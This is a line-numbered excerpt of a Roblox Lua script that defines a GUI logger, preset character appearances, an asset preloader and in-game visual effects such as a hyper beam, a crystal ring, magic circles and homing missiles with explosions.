  1494. function Logger.MessageOutFunc(message, messageType)
  1495.     if AdvancedGUI and AdvancedGUI.Print then
  1496.         local messageTypeValue
  1497.         if messageType == Enum.MessageType.MessageOutput then
  1498.             local tagName, untaggedMessage = string.match(message, "(%a+): (.*)")
  1499.             if tagName == "Info" or tagName == "Warning" or tagName == "Severe" then
  1500.                 messageTypeValue = Logger.MessageType[tagName].Value
  1501.                 message = untaggedMessage
  1502.             else
  1503.                 messageTypeValue = Logger.MessageType.Output.Value
  1504.             end
  1505.         else
  1506.             messageTypeValue = messageType.Value + 1
  1507.         end
  1508.         AdvancedGUI.PrintFormat(Logger.MESSAGE_TYPE_SETTINGS[messageTypeValue], message)
  1509.     end
  1510. end
  1511. function print(...)
  1512.     local args = {...}
  1513.     local buffer = {}
  1514.     for index = 1, select("#", ...) do
  1515.         buffer[index] = tostring(args[index])
  1516.     end
  1517.     local message = table.concat(buffer, "\t")
  1518.     Logger.print("Output", message)
  1519. end
  1520.  
  1521. CharacterAppearance = {};
  1522.  
  1523. CharacterAppearance.defaultAppearanceId = 4
  1524. CharacterAppearance.stock = {}
  1525. function CharacterAppearance.Create(properties)
  1526.     local id = properties.Id
  1527.     local bodyColors = Instance.new("BodyColors")
  1528.     bodyColors.HeadColor = properties.HeadColor
  1529.     bodyColors.TorsoColor = properties.TorsoColor
  1530.     bodyColors.RightArmColor = properties.RightArmColor
  1531.     bodyColors.LeftArmColor = properties.LeftArmColor
  1532.     bodyColors.RightLegColor = properties.RightLegColor
  1533.     bodyColors.LeftLegColor = properties.LeftLegColor
  1534.     local characterObjects = {bodyColors}
  1535.     local headObjects = {} 
  1536.     local data = {
  1537.         characterObjects = characterObjects,
  1538.         headObjects = headObjects,
  1539.         tshirt = properties.TShirt
  1540.     }
  1541.     for _, assetId in ipairs(properties.CharacterAssets) do
  1542.         TaskScheduler.Start(CharacterAppearance.LoadAsset, characterObjects, assetId)
  1543.     end
  1544.     for _, assetId in ipairs(properties.HeadAssets) do
  1545.         TaskScheduler.Start(CharacterAppearance.LoadAsset, headObjects, assetId)
  1546.     end
  1547.     CharacterAppearance.stock[id] = data
  1548. end
  1549. function CharacterAppearance.GetDefaultAppearance()
  1550.     return CharacterAppearance.stock[CharacterAppearance.defaultAppearanceId]
  1551. end
  1552. function CharacterAppearance.LoadAsset(objects, assetId)
  1553.     local asset = InsertService:LoadAsset(assetId)
  1554.     for _, child in ipairs(asset:GetChildren()) do
  1555.         child.Archivable = true
  1556.         table.insert(objects, child:Clone())
  1557.     end
  1558. end
  1559. CharacterAppearance.Create {
  1560.     Id = 1,
  1561.     HeadColor = BrickColor.new("Institutional white"),
  1562.     TorsoColor = BrickColor.new("Institutional white"),
  1563.     RightArmColor = BrickColor.new("Institutional white"),
  1564.     LeftArmColor = BrickColor.new("Institutional white"),
  1565.     RightLegColor = BrickColor.new("Institutional white"),
  1566.     LeftLegColor = BrickColor.new("Institutional white"),
  1567.     CharacterAssets = {
  1568.         90825058, 90825211,
  1569.         27112056, 27112052,
  1570.         27112039, 27112025,
  1571.         27112068, 38322996
  1572.     },
  1573.     HeadAssets = {
  1574.         20722130,
  1575.         8330576
  1576.     }
  1577. }
  1578. CharacterAppearance.Create {
  1579.     Id = 2,
  1580.     HeadColor = BrickColor.new("Institutional white"),
  1581.     TorsoColor = BrickColor.new("Institutional white"),
  1582.     RightArmColor = BrickColor.new("Institutional white"),
  1583.     LeftArmColor = BrickColor.new("Institutional white"),
  1584.     RightLegColor = BrickColor.new("Institutional white"),
  1585.     LeftLegColor = BrickColor.new("Institutional white"),
  1586.     CharacterAssets = {
  1587.         90825058, 90825211,
  1588.         11748356, 1029025,
  1589.         1235488, 27112056,
  1590.         27112052, 27112039,
  1591.         27112025, 27112068
  1592.     },
  1593.     HeadAssets = {
  1594.         20722130
  1595.     }
  1596. }
  1597. CharacterAppearance.Create {
  1598.     Id = 3,
  1599.     HeadColor = BrickColor.new("Pastel brown"),
  1600.     TorsoColor = BrickColor.new("Pastel brown"),
  1601.     RightArmColor = BrickColor.new("Pastel brown"),
  1602.     LeftArmColor = BrickColor.new("Pastel brown"),
  1603.     RightLegColor = BrickColor.new("White"),
  1604.     LeftLegColor = BrickColor.new("White"),
  1605.     CharacterAssets = {
  1606.         134289125, 48474356,
  1607.         100339040, 46302558,
  1608.         153955895
  1609.     },
  1610.     HeadAssets = {},
  1611.     TShirt = "rbxassetid://148856353"
  1612. }
  1613. CharacterAppearance.Create {
  1614.     Id = 4,
  1615.     HeadColor = BrickColor.new("Pastel brown"),
  1616.     TorsoColor = BrickColor.new("Pastel brown"),
  1617.     RightArmColor = BrickColor.new("Pastel brown"),
  1618.     LeftArmColor = BrickColor.new("Pastel brown"),
  1619.     RightLegColor = BrickColor.new("White"),
  1620.     LeftLegColor = BrickColor.new("White"),
  1621.     CharacterAssets = {
  1622.         129458426, 96678344, 184489190
  1623.     },
  1624.     HeadAssets = {},
  1625.     TShirt = "rbxassetid://160146697"
  1626. }
  1627.  
  1628. GraphicalEffects = {};
  1629.  
  1630. local MESH_IDS = {"rbxassetid://15310891"}
  1631. local SOUND_IDS = {"rbxassetid://2248511", "rbxassetid://1369158"}
  1632. local TEXTURE_IDS = {"rbxassetid://36527089", "rbxassetid://122610943", "rbxassetid://126561317", "rbxassetid://127033719"}
  1633. local preloadConnections = {}
  1634. local reloadingPreloads = false
  1635. function GraphicalEffects.InitPreloads()
  1636.         local preload_part = Instance.new("Part")
  1637.         GraphicalEffects.preload_part = preload_part
  1638.         preload_part.Anchored = true
  1639.         preload_part.Archivable = false
  1640.         preload_part.BottomSurface = "Smooth"
  1641.         preload_part.CanCollide = false
  1642.         preload_part.CFrame = CFrame.new(math.huge, math.huge, math.huge)
  1643.         preload_part.FormFactor = "Custom"
  1644.         preload_part.Locked = true
  1645.         preload_part.Name = "Asset Preloader"
  1646.         preload_part.Size = Vector3.new(0.2, 0.2, 0.2)
  1647.         preload_part.TopSurface = "Smooth"
  1648.         preload_part.Transparency = 1
  1649.         preloadConnections[preload_part] = preload_part.AncestryChanged:connect(GraphicalEffects.PreloadsAncestryChanged)
  1650.         for _, mesh_id in ipairs(MESH_IDS) do
  1651.                 local mesh = Instance.new("SpecialMesh")
  1652.                 mesh.MeshType = "FileMesh"
  1653.                 mesh.MeshId = mesh_id
  1654.                 preloadConnections[mesh] = mesh.AncestryChanged:connect(GraphicalEffects.PreloadsAncestryChanged)
  1655.                 mesh.Parent = preload_part
  1656.         end
  1657.         for _, sound_id in ipairs(SOUND_IDS) do
  1658.                 local sound = Instance.new("Sound")
  1659.                 sound.SoundId = sound_id
  1660.                 sound.Volume = 0
  1661.                 preloadConnections[sound] = sound.AncestryChanged:connect(GraphicalEffects.PreloadsAncestryChanged)
  1662.                 sound.Parent = preload_part
  1663.         end
  1664.         for _, texture_id in ipairs(TEXTURE_IDS) do
  1665.                 local decal = Instance.new("Decal")
  1666.                 decal.Texture = texture_id
  1667.                 preloadConnections[decal] = decal.AncestryChanged:connect(GraphicalEffects.PreloadsAncestryChanged)
  1668.                 decal.Parent = preload_part
  1669.         end
  1670.         preload_part.Parent = Workspace
  1671. end
  1672. function GraphicalEffects.PreloadsAncestryChanged(child, parent)
  1673.         if not reloadingPreloads and parent ~= GraphicalEffects.preload_part and parent ~= Workspace then
  1674.                 reloadingPreloads = true
  1675.                 for _, connection in pairs(preloadConnections) do
  1676.                         connection:disconnect()
  1677.                         preloadConnections[_] = nil
  1678.                 end
  1679.                 wait(1)
  1680.                 reloadingPreloads = false
  1681.                 GraphicalEffects.InitPreloads()
  1682.         end
  1683. end
  1684. GraphicalEffects.InitPreloads()
  1685. -- Hyper beam
  1686. function GraphicalEffects.FireSpaceHyperBeam(target, power, duration, radius, height, deviation)
  1687.         local stepTime, gameTime = 1 / 30, TaskScheduler.GetCurrentTime()
  1688.         local frames = duration * 30
  1689.         local beamColorOffset = 0.75 * tick() -- math.random()
  1690.         local blastPressure = power * 62500 + 250000
  1691.         local beamPart = Instance.new("Part")
  1692.         local beamMesh = Instance.new("SpecialMesh", beamPart)
  1693.         local explosion = Instance.new("Explosion")
  1694.         local sound = Instance.new("Sound", beamPart)
  1695.         beamPart.Anchored = true
  1696.         beamPart.CanCollide = false
  1697.         beamPart.CFrame = CFrame.new(target, target + Vector3.new(deviation * (math.random() - 0.5), deviation * (math.random() - 0.5), height))
  1698.         beamPart.FormFactor = "Custom"
  1699.         beamPart.Locked = true
  1700.         beamPart.Size = Vector3.new(0.2, 0.2, 0.2)
  1701.         beamMesh.MeshId = "rbxassetid://15310891"
  1702.         beamMesh.MeshType = "FileMesh"
  1703.         beamMesh.TextureId = "rbxassetid://36527089"
  1704.         local beamGlowPart1 = beamPart:Clone()
  1705.         local beamGlowMesh1 = beamMesh:Clone()
  1706.         local beamGlowPart2 = beamPart:Clone()
  1707.         local beamGlowMesh2 = beamMesh:Clone()
  1708.         local beamLight = Instance.new("PointLight", beamPart)
  1709.         beamLight.Range = power * 2
  1710.         beamLight.Shadows = true
  1711.         explosion.BlastPressure = blastPressure
  1712.         explosion.BlastRadius = power
  1713.         explosion.Position = target
  1714.         sound.SoundId = "rbxassetid://2248511"
  1715.         sound.Volume = 1
  1716.         local explosionHitConnection = explosion.Hit:connect(function(part, distance)
  1717.                 if not part.Anchored and part:GetMass() < power * power then
  1718.                         pcall(part.BreakJoints, part)
  1719.                         part.Color = Color3.new(Utility.GetRainbowRGB(1.5 * gameTime + beamColorOffset))
  1720.                 end
  1721.         end)
  1722.         beamPart.Transparency = 0.5
  1723.         beamPart.Archivable = false
  1724.         beamGlowPart1.Transparency = 0.75
  1725.         beamGlowPart2.Transparency = 0.75
  1726.         beamGlowMesh1.Parent = beamGlowPart1
  1727.         beamGlowPart1.Parent = beamPart
  1728.         beamGlowMesh2.Parent = beamGlowPart2
  1729.         beamGlowPart2.Parent = beamPart
  1730.         beamPart.Parent = workspace
  1731.         explosion.Parent = workspace
  1732.         for frame = 1, frames do
  1733.                 local progress = frame / frames
  1734.                 local alpha = 1 - math.sin(0.5 * math.pi * progress)
  1735.                 local scale = 0.4 * alpha
  1736.                 local glowScale1 = alpha * (0.5 + 0.5 * math.sin(math.tau * (8 * gameTime + beamColorOffset)))
  1737.                 local glowScale2 = alpha * (0.5 + 0.5 * math.cos(math.tau * (8 * gameTime + beamColorOffset)))
  1738.                 local vertexColor =  Vector3.new(Utility.GetRainbowRGB(1.5 * gameTime + beamColorOffset))
  1739.                 beamLight.Brightness = 1 - progress
  1740.                 beamLight.Color = Color3.new(vertexColor.x, vertexColor.y, vertexColor.z)
  1741.                 beamMesh.Scale = Vector3.new(radius * scale, 9000, radius * scale)
  1742.                 beamMesh.VertexColor = vertexColor
  1743.                 beamGlowMesh1.Scale = Vector3.new(1.2 * radius * glowScale1, 9000, 1.2 * radius * glowScale1)
  1744.                 beamGlowMesh1.VertexColor = vertexColor
  1745.                 beamGlowMesh2.Scale = Vector3.new(1.2 * radius * glowScale2, 9000, 1.2 * radius * glowScale2)
  1746.                 beamGlowMesh2.VertexColor = vertexColor
  1747.                 RunService.Stepped:wait()
  1748.                 gameTime = TaskScheduler.GetCurrentTime()
  1749.                 if frame <= 2 then
  1750.                         local explosion = Instance.new("Explosion")
  1751.                         explosion.BlastPressure = (1 - progress) * blastPressure
  1752.                         explosion.BlastRadius = (1 - progress) * power
  1753.                         explosion.Position = target
  1754.                         explosion.Parent = Workspace
  1755.                         if frame == 2 then
  1756.                                 sound:Play()
  1757.                         end
  1758.                 end
  1759.         end
  1760.         pcall(beamPart.Destroy, beamPart)
  1761.         explosionHitConnection:disconnect()
  1762. end
  1763. function GraphicalEffects.SpaceHyperBeam(target, power, duration, radius, height, deviation)
  1764.         TaskScheduler.Start(GraphicalEffects.FireSpaceHyperBeam, target, power or 12, duration or 1.5, radius or 6, height or 600, deviation or 20)
  1765. end
  1766.  
  1767. function GraphicalEffects.CrystalRing(data)
  1768.         data = data or {}
  1769.         local crystal_count = data.crystal_count or 10
  1770.         local crystal_color = data.crystal_color or BrickColor.new("Bright red")
  1771.         local crystal_scale = data.crystal_scale or Vector3.new(2 / 3, 2, 2 / 3)
  1772.         local fade_out_color = data.fade_out_color or BrickColor.new("Really black")
  1773.         local radius = radius or 1.25 * crystal_count / math.pi
  1774.         local spawn_duration = data.spawn_duration or 0.065
  1775.         local full_spawn_duration = spawn_duration * crystal_count
  1776.         local float_duration = data.float_duration or 5
  1777.         local wave_amplitude = data.wave_amplitude or 0.5
  1778.         local wave_period = data.wave_period or 1
  1779.         local appear_duration = data.appear_duration or 0.1
  1780.         local disappear_duration = data.disappear_duration or 0.5
  1781.         local base_part = data.base_part
  1782.         local offset_cframe
  1783.         if data.position then
  1784.                 offset_cframe = CFrame.new(data.position)
  1785.                 if base_part then
  1786.                         offset_cframe = base_part.CFrame:toObjectSpace(offset_cframe)
  1787.                 end
  1788.         else
  1789.                 offset_cframe = CFrame.new()
  1790.         end
  1791.         local crystal_template = Instance.new("Part")
  1792.         crystal_template.Anchored = true
  1793.         crystal_template.Locked = true
  1794.         crystal_template.CanCollide = false
  1795.         crystal_template.BottomSurface = "Smooth"
  1796.         crystal_template.TopSurface = "Smooth"
  1797.         crystal_template.BrickColor = crystal_color
  1798.         crystal_template.FormFactor = "Symmetric"
  1799.         crystal_template.Size = Vector3.new(1, 1, 1)
  1800.         local crystal_light = Instance.new("PointLight", crystal_template)
  1801.         crystal_light.Brightness = 0.1 / crystal_count
  1802.         crystal_light.Color = crystal_color.Color
  1803.         crystal_light.Name = "Light"
  1804.         crystal_light.Range = radius
  1805.         crystal_light.Shadows = true
  1806.         local crystal_mesh = Instance.new("SpecialMesh", crystal_template)
  1807.         crystal_mesh.MeshId = "rbxassetid://9756362"
  1808.         crystal_mesh.MeshType = "FileMesh"
  1809.         crystal_mesh.Name = "Mesh"
  1810.         crystal_mesh.Scale = crystal_scale
  1811.         local crystal_model = Instance.new("Model")
  1812.         crystal_model.Archivable = false
  1813.         crystal_model.Name = "Crystal Model"
  1814.         crystal_model.Parent = Workspace
  1815.         local crystals = {}
  1816.         local lights = {}
  1817.         local meshes = {}
  1818.         for index = 1, crystal_count do
  1819.                 local crystal = crystal_template:Clone()
  1820.                 crystal.Parent = crystal_model
  1821.                 crystals[index] = crystal
  1822.                 lights[index] = crystal.Light
  1823.                 meshes[index] = crystal.Mesh
  1824.         end
  1825.         local start_time = tick()
  1826.         repeat
  1827.                 local base_cframe = offset_cframe
  1828.                 if base_part then
  1829.                         base_cframe = base_part.CFrame * base_cframe
  1830.                 end
  1831.                 local elapsed_time = tick() - start_time
  1832.                 for index, crystal in ipairs(crystals) do
  1833.                         local crystal_time = elapsed_time - index * spawn_duration
  1834.                         local disappear_time = crystal_time - float_duration
  1835.                         local offset
  1836.                         if crystal_time < 0 then
  1837.                                 offset = 0
  1838.                         elseif crystal_time < appear_duration then
  1839.                                 offset = radius * crystal_time / appear_duration
  1840.                         else
  1841.                                 offset = radius
  1842.                         end
  1843.                         local wave_offset
  1844.                         if disappear_time >= 0 then
  1845.                                 local disappear_progress = disappear_time / disappear_duration
  1846.                                 if disappear_progress > 1 then
  1847.                                         if crystal.Parent then
  1848.                                                 crystal:Destroy()
  1849.                                         end
  1850.                                 else
  1851.                                         local inverse_progress = 1 - disappear_progress
  1852.                                         local light = lights[index]
  1853.                                         local mesh = meshes[index]
  1854.                                         crystal.BrickColor = fade_out_color
  1855.                                         light.Brightness = 2 * inverse_progress
  1856.                                         light.Range = 2 * radius
  1857.                                         mesh.Scale = crystal_scale * inverse_progress
  1858.                                 end
  1859.                                 wave_offset = 0
  1860.                         else
  1861.                                 wave_offset = wave_amplitude * math.sin(math.tau * (elapsed_time - index / crystal_count * 3) / wave_period)
  1862.                         end
  1863.                         local rotation_angle = (tick() * 0.5 + (index - 1) / crystal_count) % 1 * math.tau
  1864.                         crystal.CFrame = base_cframe * CFrame.Angles(0, rotation_angle, 0) * CFrame.new(0, wave_offset, -offset)
  1865.                 end
  1866.                 RunService.Stepped:wait()
  1867.         until elapsed_time >= float_duration + full_spawn_duration + disappear_duration
  1868.         if crystal_model.Parent then
  1869.                 crystal_model:Destroy()
  1870.         end
  1871. end
  1872.  
  1873. GraphicalEffects.magicCircleData = {}
  1874. GraphicalEffects.MAGIC_CIRCLE_DEFAULT_OFFSET = 6.25
  1875. function GraphicalEffects.AnimateMagicCircle(data)
  1876.         local frame, direction, magic_circle_model, magic_circle_part, magic_circle_light, magic_circle_decal_back, magic_circle_decal_front, duration,
  1877.  
  1878. stay, magic_circle_adornee_func, magic_circle_offset = unpack(data)
  1879.         frame = frame + 1
  1880.         data[1] = frame
  1881.         local transparency = (frame / duration) ^ stay
  1882.         local opacity = 1 - transparency
  1883.         if frame == duration then
  1884.                 pcall(Game.Destroy, magic_circle_model)
  1885.                 GraphicalEffects.magicCircleData[data] = nil
  1886.         else
  1887.                 if magic_circle_model.Parent ~= Workspace then
  1888.                         pcall(Utility.SetProperty, magic_circle_model, "Parent", Workspace)
  1889.                 end
  1890.                 local magic_circle_adornee = magic_circle_adornee_func()
  1891.                 magic_circle_position = magic_circle_adornee.Position + direction * magic_circle_offset
  1892.                 local magic_circle_cframe = CFrame.new(magic_circle_position, magic_circle_position + direction) * CFrame.Angles(0, 0, math.tau * frame /
  1893.  
  1894. 25)
  1895.                 magic_circle_part.CFrame = magic_circle_cframe
  1896.                 magic_circle_light.Brightness = opacity
  1897.                 magic_circle_decal_back.Transparency = transparency
  1898.                 magic_circle_decal_front.Transparency = transparency
  1899.         end
  1900. end
  1901. function GraphicalEffects.CreateMagicCircle(target, magic_circle_scale, magic_circle_image, light_color, duration, stay, magic_circle_adornee_func,
  1902.  
  1903. magic_circle_offset)
  1904.         local magic_circle_adornee = magic_circle_adornee_func()
  1905.         if magic_circle_adornee then
  1906.                 local origin = magic_circle_adornee.Position
  1907.                 local direction = (target - origin).unit
  1908.                 local magic_circle_position = origin + direction * magic_circle_offset
  1909.                 local magic_circle_cframe = CFrame.new(magic_circle_position, magic_circle_position + direction)
  1910.                 local magic_circle_model = Instance.new("Model")
  1911.                 local magic_circle_part = Instance.new("Part", magic_circle_model)
  1912.                 local magic_circle_mesh = Instance.new("BlockMesh", magic_circle_part)
  1913.                 local magic_circle_light = Instance.new("PointLight", magic_circle_part)
  1914.                 local magic_circle_decal_back = Instance.new("Decal", magic_circle_part)
  1915.                 local magic_circle_decal_front = Instance.new("Decal", magic_circle_part)
  1916.                 magic_circle_model.Archivable = false
  1917.                 magic_circle_part.Anchored = true
  1918.                 magic_circle_part.BottomSurface = "Smooth"
  1919.                 magic_circle_part.CanCollide = false
  1920.                 magic_circle_part.CFrame = magic_circle_cframe
  1921.                 magic_circle_part.FormFactor = "Custom"
  1922.                 magic_circle_part.Locked = true
  1923.                 magic_circle_part.Size = Vector3.new(0.2, 0.2, 0.2)
  1924.                 magic_circle_part.TopSurface = "Smooth"
  1925.                 magic_circle_part.Transparency = 1
  1926.                 magic_circle_mesh.Scale = Vector3.new(60, 60, 0) * magic_circle_scale
  1927.                 magic_circle_light.Color = light_color
  1928.                 magic_circle_light.Range = 16 * magic_circle_scale
  1929.                 magic_circle_light.Shadows = true
  1930.                 magic_circle_decal_back.Face = "Back"
  1931.                 magic_circle_decal_back.Texture = magic_circle_image
  1932.                 magic_circle_decal_front.Face = "Front"
  1933.                 magic_circle_decal_front.Texture = magic_circle_image
  1934.                 magic_circle_model.Parent = Workspace
  1935.                 local data = {0, direction, magic_circle_model, magic_circle_part, magic_circle_light, magic_circle_decal_back, magic_circle_decal_front,
  1936.  
  1937. duration, stay, magic_circle_adornee_func, magic_circle_offset}
  1938.                 GraphicalEffects.magicCircleData[data] = true
  1939.                 return data
  1940.         end
  1941. end
  1942.  
  1943. GraphicalEffects.missileData = {}
  1944. GraphicalEffects.missileParts = {}
  1945. function GraphicalEffects.AnimateMissile(data)
  1946.         local frame, missilePart, targetPart, timeCreated, direction, touchedConnection, explodeRequested, bodyGyro, swooshSound, magicCircleData, lifeTime,
  1947.  
  1948. pointOnPart, flipped = unpack(data)
  1949.         frame = frame + 1
  1950.         data[1] = frame
  1951.         if flipped then
  1952.                 direction = -direction
  1953.         end
  1954.         if frame <= 10 then
  1955.                 if frame == 2 then
  1956.                         swooshSound:Play()
  1957.                 end
  1958.                 missilePart.Anchored = true
  1959.                 local progress = frame / 10
  1960.                 missilePart.Size = Vector3.new(1, 1, progress * 4)
  1961.                 local magicCirclePart = magicCircleData[4]
  1962.                 local magicCirclePosition = magicCirclePart.Position
  1963.                 local missileOffset = 2 * progress * direction
  1964.                 local missilePosition = magicCirclePosition + missileOffset
  1965.                 missilePart.CFrame = CFrame.new(missilePosition, missilePosition + direction)
  1966.                 --missilePart.Transparency = 0.5 * (1 - progress)
  1967.                 if frame == 10 then
  1968.                         touchedConnection = missilePart.Touched:connect(function(hit)
  1969.                                 if hit.CanCollide and hit.Parent and not GraphicalEffects.missileParts[hit] then
  1970.                                         touchedConnection:disconnect()
  1971.                                         data[7] = true
  1972.                                 end
  1973.                         end)
  1974.                         data[6] = touchedConnection
  1975.                 end
  1976.         else
  1977.                 missilePart.Anchored = false
  1978.                 local missilePosition = missilePart.Position
  1979.                 local targetPosition = targetPart.CFrame * pointOnPart
  1980.                 local distanceVector = targetPosition - missilePosition
  1981.                 local elapsedTime = time() - timeCreated
  1982.                 local targetParent = targetPart.Parent
  1983.                 if explodeRequested or (targetParent and distanceVector.magnitude < 10) or elapsedTime > lifeTime then
  1984.                         GraphicalEffects.missileData[data] = nil
  1985.                         GraphicalEffects.missileParts[missilePart] = nil
  1986.                         touchedConnection:disconnect()
  1987.                         if missilePart.Parent then
  1988.                                 missilePart:Destroy()
  1989.                                 local explosion = Instance.new("Explosion")
  1990.                                 explosion.BlastRadius = 12.5
  1991.                                 explosion.Position = missilePosition
  1992.                                 local explosionHitConnection = explosion.Hit:connect(function(hit, distance)
  1993.                                         local missileData = GraphicalEffects.missileParts[hit]
  1994.                                         if missileData and distance < 3 then
  1995.                                                 missileData[7] = true
  1996.                                         else
  1997.                                                 pcall(hit.BreakJoints, hit)
  1998.                                         end
  1999.                                 end)
  2000.                                 explosion.Parent = Workspace
  2001.                                 TaskScheduler.Schedule(1, explosionHitConnection.disconnect, explosionHitConnection)
  2002.                         end
  2003.                 else
  2004.                         local targetInWorkspace = targetPart:IsDescendantOf(Workspace)
  2005.                         if targetInWorkspace then
  2006.                                 direction = distanceVector.unit
  2007.                                 data[5] = direction
  2008.                         end
  2009.                         local speed = 14 + elapsedTime * 10
  2010.                         local gyroD
  2011.                         if elapsedTime < 42.5 and targetInWorkspace then
  2012.                                 gyroD = 1000 - elapsedTime * 15
  2013.                         else
  2014.                                 gyroD = 100
  2015.                                 bodyGyro.maxTorque = Vector3.new(0, 0, 0)
  2016.                                 if elapsedTime + 7.5 < lifeTime then
  2017.                                         data[11] = elapsedTime + 7.5
  2018.                                 end
  2019.                         end
  2020.                         bodyGyro.D = gyroD
  2021.                         bodyGyro.cframe = CFrame.new(Vector3.new(), direction)
  2022.                         missilePart.Velocity = missilePart.CFrame.lookVector * speed
  2023.                 end
  2024.         end
  2025. end
  2026. function GraphicalEffects.ShootMissile(targetPart, pointOnPart, direction, magic_circle_adornee_func, magic_circle_offset, flipped)
  2027.         if not magic_circle_offset then
  2028.                 magic_circle_offset = GraphicalEffects.MAGIC_CIRCLE_DEFAULT_OFFSET
  2029.         end
  2030.         local targetPosition = targetPart.Position
  2031.         local headPosition = chatAdornee.Position
  2032.         local origin = CFrame.new(headPosition, headPosition + direction) + direction * magic_circle_offset
  2033.         local missilePart = Instance.new("Part")
  2034.         local antiGravityForce = Instance.new("BodyForce", missilePart)
  2035.         local bodyGyro = Instance.new("BodyGyro", missilePart)
  2036.         local explosionSound = Instance.new("Sound", missilePart)
  2037.         local swooshSound = Instance.new("Sound", missilePart)
  2038.         antiGravityForce.force = Vector3.new(0, 196.2 * 4, 0)
  2039.         bodyGyro.D = 1000
  2040.         bodyGyro.maxTorque = Vector3.new(1, 1, 1)
  2041.         explosionSound.PlayOnRemove = true
  2042.         explosionSound.SoundId = "rbxasset://sounds/collide.wav"
  2043.         explosionSound.Volume = 1
  2044.         missilePart.Anchored = true
  2045.         missilePart.BackSurface = "Studs"
  2046.         missilePart.BottomSurface = "Studs"
  2047.         missilePart.BrickColor = BrickColor.Red()
  2048.         missilePart.CFrame = origin
  2049.         missilePart.FormFactor = "Custom"
  2050.         missilePart.FrontSurface = "Studs"
  2051.         missilePart.LeftSurface = "Studs"
  2052.         missilePart.Locked = true
  2053.         missilePart.RightSurface = "Studs"
  2054.         missilePart.Size = Vector3.new(1, 1, 0.2)
  2055.         missilePart.TopSurface = "Studs"
  2056.         --missilePart.Transparency = 0.5
  2057.         swooshSound.Looped = true
  2058.         swooshSound.SoundId = "rbxasset://sounds/Rocket whoosh 01.wav"
  2059.         swooshSound.Volume = 0.7
  2060.         local magicCircleData = GraphicalEffects.CreateMagicCircle(headPosition + direction * 1000, 0.875, "rbxassetid://127033719", Color3.new(1, 1, 1),
  2061.  
  2062. 40, 4, magic_circle_adornee_func or function() return chatAdornee end, magic_circle_offset)
  2063.         local data = {0, missilePart, targetPart, time(), direction, false, false, bodyGyro, swooshSound, magicCircleData, 50, pointOnPart, flipped}
  2064.         missilePart.Parent = Workspace
  2065.         GraphicalEffects.missileData[data] = true
  2066.         GraphicalEffects.missileParts[missilePart] = data
  2067. end
  2068.  
  2069. function GraphicalEffects.CubicInterpolate(y0, y1, y2, y3, mu)
  2070.         local a0, a1, a2, a3, mu2
  2071.         mu2 = mu * mu
  2072.         a0 = y3 - y2 - y0 + y1
  2073.         a1 = y0 - y1 - a0
  2074.         a2 = y2 - y0
  2075.         a3 = y1
  2076.         return a0 * mu * mu2 + a1 * mu2 + a2 * mu + a3
  2077. end
  2078. function GraphicalEffects.JointCrap(model, cycletime)
  2079.         if model then
  2080.                 local cycletime = cycletime or (0.75 * (1 + math.random() * 4))
  2081.                 local offsetradius = 0.75
  2082.                 local rotationoffset = math.pi
  2083.                 local joints = {}
  2084.                 local stack = model:GetChildren()
  2085.                 while #stack ~= 0 do
  2086.                         local object = stack[#stack]
  2087.                         table.remove(stack)
  2088.                         for index, child in ipairs(object:GetChildren()) do
  2089.                                 table.insert(stack, child)
  2090.                         end
  2091.                         if object:IsA("JointInstance") then
  2092.                                 table.insert(joints, object)
  2093.                         end
  2094.                 end
  2095.                 local rot0 = {}
  2096.                 local rot1 = {}
  2097.                 local rot2 = {}
  2098.                 local rot3 = {}
  2099.                 local rot4 = {}
  2100.                 for index, joint in ipairs(joints) do
  2101.                         local pos = Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5).unit * offsetradius
  2102.                         local rot = Vector3.new(math.random(), math.random(), math.random()) * rotationoffset
  2103.                         rot0[index] = {joint.C0, joint.C1}
  2104.                         rot = Vector3.new(rot.x % (math.tau), rot.y % (math.tau), rot.z % (math.tau))
  2105.                         rot2[index] = {pos, rot}
  2106.                         pos = Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5).unit * offsetradius
  2107.                         rot = rot + Vector3.new(math.random(), math.random(), math.random()) * rotationoffset
  2108.                         rot = Vector3.new(rot.x % (math.tau), rot.y % (math.tau), rot.z % (math.tau))
  2109.                         rot3[index] = {pos, rot}
  2110.                         pos = Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5).unit * offsetradius
  2111.                         rot = rot + Vector3.new(math.random(), math.random(), math.random()) * rotationoffset
  2112.                         rot = Vector3.new(rot.x % (math.tau), rot.y % (math.tau), rot.z % (math.tau))
  2113.                         rot4[index] = {pos, rot}
  2114.                 end
  2115.                 while model.Parent do
  2116.                         for i, j in ipairs(joints) do
  2117.                                 local pos = Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5).unit * offsetradius
  2118.                                 local rot = rot4[i][2] + Vector3.new(math.random(), math.random(), math.random()) * rotationoffset
  2119.                                 rot = Vector3.new(rot.x % (math.tau), rot.y % (math.tau), rot.z % (math.tau))
  2120.                                 rot1[i], rot2[i], rot3[i], rot4[i] = rot2[i], rot3[i], rot4[i], {pos, rot}
  2121.                         end
  2122.                         local start = tick()
  2123.                         while true do
  2124.                                 local ctime = tick()
  2125.                                 local elapsed = ctime - start
  2126.                                 if elapsed > cycletime then
  2127.                                         break
  2128.                                 end
  2129.                                 local progress = elapsed / cycletime
  2130.                                 for index, joint in ipairs(joints) do
  2131.                                         local v0, v1, v2, v3, v4 = rot0[index], rot1[index], rot2[index], rot3[index], rot4[index]
  2132.                                         local p1, p2, p3, p4, r1, r2, r3, r4 = v1[1], v2[1], v3[1], v4[1], v1[2], v2[2], v3[2], v4[2]
  2133.                                         local px = GraphicalEffects.CubicInterpolate(p1.x, p2.x, p3.x, p4.x, progress)
  2134.                                         local py = GraphicalEffects.CubicInterpolate(p1.y, p2.y, p3.y, p4.y, progress)
  2135.                                         local pz = GraphicalEffects.CubicInterpolate(p1.z, p2.z, p3.z, p4.z, progress)
  2136.                                         local rx = GraphicalEffects.CubicInterpolate(r1.x, r2.x, r3.x, r4.x, progress)
  2137.                                         local ry = GraphicalEffects.CubicInterpolate(r1.y, r2.y, r3.y, r4.y, progress)
  2138.                                         local rz = GraphicalEffects.CubicInterpolate(r1.z, r2.z, r3.z, r4.z, progress)
  2139.                                         local cframe = CFrame.new(px, py, pz) * CFrame.Angles(rx, ry, rz)
  2140.                                         joint.C0 = v0[1] * cframe
  2141.                                         joint.C1 = v0[2] * cframe:inverse()
  2142.                                 end
  2143.                                 RunService.Stepped:wait()
  2144.                         end
  2145.                 end
  2146.         end
  2147. end
  2148.  
